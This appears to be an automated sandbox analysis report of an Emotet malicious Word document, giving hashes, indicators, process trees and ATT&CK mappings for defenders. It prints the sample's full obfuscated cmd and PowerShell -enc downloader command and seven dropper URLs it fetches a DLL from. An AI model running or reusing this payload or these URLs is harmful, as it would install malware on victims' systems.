8d5c3655c17e7b52765884c6c65f4accd5e2d174f1b28c4a9a25b5b3686c50b7

General

Target

emotet_e2_8d5c3655c17e7b52765884c6c65f4accd5e2d174f1b28c4a9a25b5b3686c50b7_2021-01-13__005200763832._doc.doc
Size

158KB
MD5

5d945215f920eb558ea283588ea0ad85
SHA1

d762746064e6aa7cec9c595bb00c64d7ae9f8ca8
SHA256

8d5c3655c17e7b52765884c6c65f4accd5e2d174f1b28c4a9a25b5b3686c50b7
SHA512

d9b63634ffeb29aa702ead72d42fba551bf571969354030c397b7eacf86a99fb440e2f731c688b55e8f942c8f8277e49be6a8c822e2dccc7a4a523d86b8873d7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://altrashift.com/wp-includes/I/

exe.dropper

https://ojodetigremezcal.com/wp/i62s/

exe.dropper

https://snowremoval-services.com/wp-content/P3Z/

exe.dropper

http://kitsunecomplements.com/too-much-phppq/n65U/

exe.dropper

https://imperioone.com/content/WOBq/

exe.dropper

http://www.autoeck-baden.at/wp-content/w0Vb/

exe.dropper

https://shop.animewho.com/content/Tj/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1384 3316 cmd.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

14 2668 powershell.exe
16 2668 powershell.exe
32 188 rundll32.exe
33 188 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1056 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Wdginqsngggvyeur\oyblgdbqelyajgd.nvn rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1384	3316	cmd.exe

flow	pid	process
14	2668	powershell.exe
16	2668	powershell.exe
32	188	rundll32.exe
33	188	rundll32.exe

pid	process
1056	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Wdginqsngggvyeur\oyblgdbqelyajgd.nvn	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1156 WINWORD.EXE
1156 WINWORD.EXE

pid	process
1156	WINWORD.EXE
1156	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exerundll32.exe

pid	process
2668	powershell.exe
2668	powershell.exe
2668	powershell.exe
188	rundll32.exe
188	rundll32.exe
188	rundll32.exe
188	rundll32.exe
188	rundll32.exe
188	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2668 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1156 WINWORD.EXE
1156 WINWORD.EXE
1156 WINWORD.EXE
1156 WINWORD.EXE
1156 WINWORD.EXE
1156 WINWORD.EXE
1156 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	2668	powershell.exe

pid	process
1156	WINWORD.EXE
1156	WINWORD.EXE
1156	WINWORD.EXE
1156	WINWORD.EXE
1156	WINWORD.EXE
1156	WINWORD.EXE
1156	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1384 wrote to memory of 3320	1384	cmd.exe	msg.exe
PID 1384 wrote to memory of 3320	1384	cmd.exe	msg.exe
PID 1384 wrote to memory of 2668	1384	cmd.exe	powershell.exe
PID 1384 wrote to memory of 2668	1384	cmd.exe	powershell.exe
PID 2668 wrote to memory of 936	2668	powershell.exe	rundll32.exe
PID 2668 wrote to memory of 936	2668	powershell.exe	rundll32.exe
PID 936 wrote to memory of 1056	936	rundll32.exe	rundll32.exe
PID 936 wrote to memory of 1056	936	rundll32.exe	rundll32.exe
PID 936 wrote to memory of 1056	936	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 188	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 188	1056	rundll32.exe	rundll32.exe
PID 1056 wrote to memory of 188	1056	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8d5c3655c17e7b52765884c6c65f4accd5e2d174f1b28c4a9a25b5b3686c50b7_2021-01-13__005200763832._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1156

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgACQAOABEAEUAIAAgAD0AIABbAFQAWQBQAGUAXQAoACIAewAwAH0AewAzAH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAFMAJwAsACcAUgBlAEMAdABvAFIAeQAnACwAJwBtAC4AaQBPAC4ARABpACcALAAnAFkAJwAsACcAUwB0AEUAJwApADsAIAAgACQAcQAwADkAIAA9ACAAWwBUAFkAcABFAF0AKAAiAHsANwB9AHsANAB9AHsAMQB9AHsAMwB9AHsANQB9AHsANgB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGkATgAnACwAJwBtAC4AbgBlACcALAAnAFQATQBBAE4AYQBnAEUAcgAnACwAJwBUACcALAAnAHMAdABFACcALAAnAC4AcwBFACcALAAnAFIAdgBJAEMARQBwAG8AJwAsACcAUwB5ACcAKQA7ACAAJABRAG8AbABzADUAdgB2AD0AJABOADMAXwBLACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABXADMANQBRADsAJABJADMAXwBSAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADQARAAnACkAKQA7ACAAKAAgAGcAZQBUAC0AdgBBAFIASQBhAGIAbABFACAAKAAiADgAIgArACIAZABlACIAKQAgAC0AdgBBAEwAVQBFAG8ATgBMAFkAKQA6ADoAIgBDAGAAUgBlAGEAYABUAGUARABJAHIAYABFAEMAYABUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBWACcAKwAnAEwAZgAnACkAKwAoACcATABkADUAZAAnACsAJwBiACcAKwAnAGkAMwBWAEwAJwArACcAZgAnACkAKwAoACcAVwAnACsAJwBlADkAdwAnACsAJwBtAGcAJwApACsAJwA0ACcAKwAoACcAVgBMACcAKwAnAGYAJwApACkAIAAtAHIARQBQAGwAYQBjAEUAKAAnAFYAJwArACcATABmACcAKQAsAFsAYwBIAGEAUgBdADkAMgApACkAOwAkAFcAMQA2AFEAPQAoACcATAA3ACcAKwAnADYAVwAnACkAOwAgACAAKAAgACAASQBUAGUATQAgAFYAYQBSAEkAYQBCAGwARQA6AFEAMAA5ACAAIAApAC4AdgBhAEwAVQBlADoAOgAiAHMAYABlAGMAdQBSAGAASQBgAFQAeQBQAFIAbwBUAE8AYABjAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQAUwA2ADcATgA9ACgAKAAnAFEANwAnACsAJwAzACcAKQArACcAVgAnACkAOwAkAFcAdwBpAHIAdgA1AGEAIAA9ACAAKAAnAFgANQAnACsAJwA1AEgAJwApADsAJABOADAAMwBZAD0AKAAnAEQAJwArACgAJwAxADEAJwArACcARAAnACkAKQA7ACQARwBjAHoAdgAyADEAZwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AEwAZAA1AGQAYgBpADMAewAwAH0AVwBlACcAKwAoACcAOQB3ACcAKwAnAG0AJwApACsAJwBnADQAewAwACcAKwAnAH0AJwApACAALQBmACAAIABbAEMASABBAFIAXQA5ADIAKQArACQAVwB3AGkAcgB2ADUAYQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEwAOAA0AE8APQAoACcARwAnACsAKAAnADgANgAnACsAJwBHACcAKQApADsAJABNAHoAMgA1AF8AMwBuAD0AKAAoACcAdwBdAHgAbQBbACcAKwAnAHYAcwA6AC8ALwAnACsAJwBhAGwAJwArACcAdAAnACsAJwByACcAKQArACgAJwBhAHMAJwArACcAaAAnACkAKwAoACcAaQBmACcAKwAnAHQALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwB3AHAALQAnACsAJwBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAAnACsAJwB1AGQAZQAnACkAKwAoACcAcwAnACsAJwAvAEkAJwApACsAKAAnAC8AQAB3AF0AJwArACcAeABtACcAKwAnAFsAdgBzADoAJwArACcALwAvAG8AJwArACcAagBvAGQAJwArACcAZQB0ACcAKwAnAGkAJwApACsAKAAnAGcAcgBlAG0AZQB6AGMAJwArACcAYQBsACcAKwAnAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnADYAMgBzAC8AJwApACsAKAAnAEAAdwAnACsAJwBdAHgAbQBbACcAKwAnAHYAcwA6ACcAKwAnAC8ALwBzACcAKQArACgAJwBuAG8AJwArACcAdwByAGUAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBhAGwALQAnACsAJwBzAGUAcgB2ACcAKwAnAGkAYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAJwApACsAKAAnAG4AdAAvACcAKwAnAFAAMwBaAC8AQAAnACsAJwB3ACcAKwAnAF0AJwArACcAeAAnACsAJwBtAFsAdgA6AC8AJwApACsAKAAnAC8AJwArACcAawBpAHQAcwB1ACcAKwAnAG4AZQBjAG8AJwApACsAKAAnAG0AJwArACcAcABsACcAKQArACgAJwBlAG0AJwArACcAZQAnACsAJwBuACcAKwAnAHQAcwAuAGMAbwBtAC8AdABvACcAKQArACcAbwAnACsAKAAnAC0AJwArACcAbQB1ACcAKQArACgAJwBjAGgALQBwACcAKwAnAGgAcABwACcAKQArACgAJwBxAC8AJwArACcAbgA2ACcAKQArACcANQAnACsAKAAnAFUALwAnACsAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgBzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBpACcAKQArACgAJwBtACcAKwAnAHAAJwArACcAZQByAGkAbwBvAG4AZQAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQALwBXACcAKwAnAE8AQgAnACkAKwAnAHEAJwArACgAJwAvAEAAJwArACcAdwAnACkAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvAHcAJwArACcAdwB3AC4AYQB1ACcAKwAnAHQAbwBlACcAKwAnAGMAawAtAGIAYQBkACcAKwAnAGUAbgAuAGEAdAAvAHcAcAAtACcAKQArACgAJwBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAnACkAKwAnAC8AdwAnACsAKAAnADAAJwArACcAVgBiACcAKQArACgAJwAvAEAAdwBdAHgAbQBbACcAKwAnAHYAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AcwBoACcAKQArACcAbwBwACcAKwAoACcALgBhAG4AJwArACcAaQBtACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAaABvAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcAVABqACcAKwAnAC8AJwApACkALgAiAHIARQBwAGwAYABBAGAAYwBlACIAKAAoACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbACcAKwAnAHYAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQB3ACcAKwAnAGYAJwApACkALAAoACcAdwBlACcAKwAoACcAdgB3ACcAKwAnAGUAJwApACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAUABsAGAAaQB0ACIAKAAkAFcAOAA1AFIAIAArACAAJABRAG8AbABzADUAdgB2ACAAKwAgACQAQgA0ADYATgApADsAJABMADgAMwBUAD0AKAAnAFAAJwArACgAJwA1ADYAJwArACcAUAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB5ADQAMAB3AGoAZwAgAGkAbgAgACQATQB6ADIANQBfADMAbgApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3ACcAKwAnAC0ATwBiAGoAZQBjAHQAJwApACAAUwB5AFMAVABlAG0ALgBOAEUAVAAuAFcARQBCAEMATABJAEUATgB0ACkALgAiAEQAYABPAHcATgBMAG8AYQBEAGAARgBgAGkATABlACIAKAAkAEYAeQA0ADAAdwBqAGcALAAgACQARwBjAHoAdgAyADEAZwApADsAJABSADUANQBRAD0AKAAnAFkANAAnACsAJwA4AFMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEcAYwB6AHYAMgAxAGcAKQAuACIAbABgAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewAuACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABHAGMAegB2ADIAMQBnACwAKAAoACcAUwAnACsAJwBoAG8AdwBEACcAKQArACgAJwBpAGEAJwArACcAbABvACcAKQArACcAZwAnACsAJwBBACcAKQAuACIAVABPAFMAYABUAFIASQBgAE4ARwAiACgAKQA7ACQAWAAzADMAQgA9ACgAJwBLADYAJwArACcANQBGACcAKQA7AGIAcgBlAGEAawA7ACQATwA2ADUATAA9ACgAKAAnAE0ANwAnACsAJwAzACcAKQArACcATgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMABfAEoAPQAoACcARgAnACsAKAAnADkAJwArACcAMgBRACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1384
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:3320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -enc IAAgACQAOABEAEUAIAAgAD0AIABbAFQAWQBQAGUAXQAoACIAewAwAH0AewAzAH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAFMAJwAsACcAUgBlAEMAdABvAFIAeQAnACwAJwBtAC4AaQBPAC4ARABpACcALAAnAFkAJwAsACcAUwB0AEUAJwApADsAIAAgACQAcQAwADkAIAA9ACAAWwBUAFkAcABFAF0AKAAiAHsANwB9AHsANAB9AHsAMQB9AHsAMwB9AHsANQB9AHsANgB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGkATgAnACwAJwBtAC4AbgBlACcALAAnAFQATQBBAE4AYQBnAEUAcgAnACwAJwBUACcALAAnAHMAdABFACcALAAnAC4AcwBFACcALAAnAFIAdgBJAEMARQBwAG8AJwAsACcAUwB5ACcAKQA7ACAAJABRAG8AbABzADUAdgB2AD0AJABOADMAXwBLACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABXADMANQBRADsAJABJADMAXwBSAD0AKAAnAFIAJwArACgAJwA2ACcAKwAnADQARAAnACkAKQA7ACAAKAAgAGcAZQBUAC0AdgBBAFIASQBhAGIAbABFACAAKAAiADgAIgArACIAZABlACIAKQAgAC0AdgBBAEwAVQBFAG8ATgBMAFkAKQA6ADoAIgBDAGAAUgBlAGEAYABUAGUARABJAHIAYABFAEMAYABUAE8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBWACcAKwAnAEwAZgAnACkAKwAoACcATABkADUAZAAnACsAJwBiACcAKwAnAGkAMwBWAEwAJwArACcAZgAnACkAKwAoACcAVwAnACsAJwBlADkAdwAnACsAJwBtAGcAJwApACsAJwA0ACcAKwAoACcAVgBMACcAKwAnAGYAJwApACkAIAAtAHIARQBQAGwAYQBjAEUAKAAnAFYAJwArACcATABmACcAKQAsAFsAYwBIAGEAUgBdADkAMgApACkAOwAkAFcAMQA2AFEAPQAoACcATAA3ACcAKwAnADYAVwAnACkAOwAgACAAKAAgACAASQBUAGUATQAgAFYAYQBSAEkAYQBCAGwARQA6AFEAMAA5ACAAIAApAC4AdgBhAEwAVQBlADoAOgAiAHMAYABlAGMAdQBSAGAASQBgAFQAeQBQAFIAbwBUAE8AYABjAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbAAnACsAJwBzADEAMgAnACkAKQA7ACQAUwA2ADcATgA9ACgAKAAnAFEANwAnACsAJwAzACcAKQArACcAVgAnACkAOwAkAFcAdwBpAHIAdgA1AGEAIAA9ACAAKAAnAFgANQAnACsAJwA1AEgAJwApADsAJABOADAAMwBZAD0AKAAnAEQAJwArACgAJwAxADEAJwArACcARAAnACkAKQA7ACQARwBjAHoAdgAyADEAZwA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AEwAZAA1AGQAYgBpADMAewAwAH0AVwBlACcAKwAoACcAOQB3ACcAKwAnAG0AJwApACsAJwBnADQAewAwACcAKwAnAH0AJwApACAALQBmACAAIABbAEMASABBAFIAXQA5ADIAKQArACQAVwB3AGkAcgB2ADUAYQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEwAOAA0AE8APQAoACcARwAnACsAKAAnADgANgAnACsAJwBHACcAKQApADsAJABNAHoAMgA1AF8AMwBuAD0AKAAoACcAdwBdAHgAbQBbACcAKwAnAHYAcwA6AC8ALwAnACsAJwBhAGwAJwArACcAdAAnACsAJwByACcAKQArACgAJwBhAHMAJwArACcAaAAnACkAKwAoACcAaQBmACcAKwAnAHQALgAnACkAKwAoACcAYwAnACsAJwBvAG0ALwB3AHAALQAnACsAJwBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAAnACsAJwB1AGQAZQAnACkAKwAoACcAcwAnACsAJwAvAEkAJwApACsAKAAnAC8AQAB3AF0AJwArACcAeABtACcAKwAnAFsAdgBzADoAJwArACcALwAvAG8AJwArACcAagBvAGQAJwArACcAZQB0ACcAKwAnAGkAJwApACsAKAAnAGcAcgBlAG0AZQB6AGMAJwArACcAYQBsACcAKwAnAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnADYAMgBzAC8AJwApACsAKAAnAEAAdwAnACsAJwBdAHgAbQBbACcAKwAnAHYAcwA6ACcAKwAnAC8ALwBzACcAKQArACgAJwBuAG8AJwArACcAdwByAGUAJwApACsAKAAnAG0AbwAnACsAJwB2ACcAKQArACgAJwBhAGwALQAnACsAJwBzAGUAcgB2ACcAKwAnAGkAYwBlAHMALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHcAcAAnACkAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAJwApACsAKAAnAG4AdAAvACcAKwAnAFAAMwBaAC8AQAAnACsAJwB3ACcAKwAnAF0AJwArACcAeAAnACsAJwBtAFsAdgA6AC8AJwApACsAKAAnAC8AJwArACcAawBpAHQAcwB1ACcAKwAnAG4AZQBjAG8AJwApACsAKAAnAG0AJwArACcAcABsACcAKQArACgAJwBlAG0AJwArACcAZQAnACsAJwBuACcAKwAnAHQAcwAuAGMAbwBtAC8AdABvACcAKQArACcAbwAnACsAKAAnAC0AJwArACcAbQB1ACcAKQArACgAJwBjAGgALQBwACcAKwAnAGgAcABwACcAKQArACgAJwBxAC8AJwArACcAbgA2ACcAKQArACcANQAnACsAKAAnAFUALwAnACsAJwBAACcAKwAnAHcAXQB4AG0AJwApACsAKAAnAFsAdgBzACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwBpACcAKQArACgAJwBtACcAKwAnAHAAJwArACcAZQByAGkAbwBvAG4AZQAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQALwBXACcAKwAnAE8AQgAnACkAKwAnAHEAJwArACgAJwAvAEAAJwArACcAdwAnACkAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvAHcAJwArACcAdwB3AC4AYQB1ACcAKwAnAHQAbwBlACcAKwAnAGMAawAtAGIAYQBkACcAKwAnAGUAbgAuAGEAdAAvAHcAcAAtACcAKQArACgAJwBjAG8AJwArACcAbgAnACkAKwAoACcAdABlAG4AJwArACcAdAAnACkAKwAnAC8AdwAnACsAKAAnADAAJwArACcAVgBiACcAKQArACgAJwAvAEAAdwBdAHgAbQBbACcAKwAnAHYAcwAnACkAKwAoACcAOgAvACcAKwAnAC8AcwBoACcAKQArACcAbwBwACcAKwAoACcALgBhAG4AJwArACcAaQBtACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAaABvAC4AYwBvACcAKwAnAG0ALwAnACsAJwBjAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACgAJwBuAHQAJwArACcALwAnACkAKwAoACcAVABqACcAKwAnAC8AJwApACkALgAiAHIARQBwAGwAYABBAGAAYwBlACIAKAAoACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbACcAKwAnAHYAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACcAZAAnACsAKAAnAHMAZQB3ACcAKwAnAGYAJwApACkALAAoACcAdwBlACcAKwAoACcAdgB3ACcAKwAnAGUAJwApACkAKQAsACgAJwBhAGUAJwArACcAZgBmACcAKQAsACgAJwBoAHQAJwArACcAdABwACcAKQApAFsAMgBdACkALgAiAHMAUABsAGAAaQB0ACIAKAAkAFcAOAA1AFIAIAArACAAJABRAG8AbABzADUAdgB2ACAAKwAgACQAQgA0ADYATgApADsAJABMADgAMwBUAD0AKAAnAFAAJwArACgAJwA1ADYAJwArACcAUAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARgB5ADQAMAB3AGoAZwAgAGkAbgAgACQATQB6ADIANQBfADMAbgApAHsAdAByAHkAewAoAC4AKAAnAE4AZQAnACsAJwB3ACcAKwAnAC0ATwBiAGoAZQBjAHQAJwApACAAUwB5AFMAVABlAG0ALgBOAEUAVAAuAFcARQBCAEMATABJAEUATgB0ACkALgAiAEQAYABPAHcATgBMAG8AYQBEAGAARgBgAGkATABlACIAKAAkAEYAeQA0ADAAdwBqAGcALAAgACQARwBjAHoAdgAyADEAZwApADsAJABSADUANQBRAD0AKAAnAFkANAAnACsAJwA4AFMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEcAYwB6AHYAMgAxAGcAKQAuACIAbABgAGUATgBgAEcAdABoACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewAuACgAJwByAHUAbgBkAGwAJwArACcAbAAzADIAJwApACAAJABHAGMAegB2ADIAMQBnACwAKAAoACcAUwAnACsAJwBoAG8AdwBEACcAKQArACgAJwBpAGEAJwArACcAbABvACcAKQArACcAZwAnACsAJwBBACcAKQAuACIAVABPAFMAYABUAFIASQBgAE4ARwAiACgAKQA7ACQAWAAzADMAQgA9ACgAJwBLADYAJwArACcANQBGACcAKQA7AGIAcgBlAGEAawA7ACQATwA2ADUATAA9ACgAKAAnAE0ANwAnACsAJwAzACcAKQArACcATgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMABfAEoAPQAoACcARgAnACsAKAAnADkAJwArACcAMgBRACcAKQApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ld5dbi3\We9wmg4\X55H.dll,ShowDialogA
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ld5dbi3\We9wmg4\X55H.dll,ShowDialogA
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:1056
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wdginqsngggvyeur\oyblgdbqelyajgd.nvn",ShowDialogA
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Ld5dbi3\We9wmg4\X55H.dll

MD5
30757fb9970ee6238babb309edf3e4ab

SHA1
5ba5b29985aa0d894ab4511ff9ae7245d51fea5c

SHA256
18ced8023ef593b25d906de2257e024135a6bfa24e3235957c714f4f5ef55794

SHA512
e8ba20ffdc0cf996d49219a4d72dcf5e84bd76ee88d7982cfeac885739fc8f74a50e2e74f9bb20f30812d007f2c7e3982483ed78c71534f5c0215c908d511c3d

Download Submit
\Users\Admin\Ld5dbi3\We9wmg4\X55H.dll

MD5
30757fb9970ee6238babb309edf3e4ab

SHA1
5ba5b29985aa0d894ab4511ff9ae7245d51fea5c

SHA256
18ced8023ef593b25d906de2257e024135a6bfa24e3235957c714f4f5ef55794

SHA512
e8ba20ffdc0cf996d49219a4d72dcf5e84bd76ee88d7982cfeac885739fc8f74a50e2e74f9bb20f30812d007f2c7e3982483ed78c71534f5c0215c908d511c3d

Download Submit
memory/188-12-0x0000000000000000-mapping.dmp

Download
memory/936-8-0x0000000000000000-mapping.dmp

Download
memory/1056-10-0x0000000000000000-mapping.dmp

Download
memory/1156-2-0x00007FFC7DEA0000-0x00007FFC7E4D7000-memory.dmp

Filesize
6.2MB

Download
memory/2668-4-0x0000000000000000-mapping.dmp

Download
memory/2668-5-0x00007FFC76960000-0x00007FFC7734C000-memory.dmp

Filesize
9.9MB

Download
memory/2668-6-0x0000022D75BB0000-0x0000022D75BB1000-memory.dmp

Filesize
4KB

Download
memory/2668-7-0x0000022D75D60000-0x0000022D75D61000-memory.dmp

Filesize
4KB

Download
memory/3320-3-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads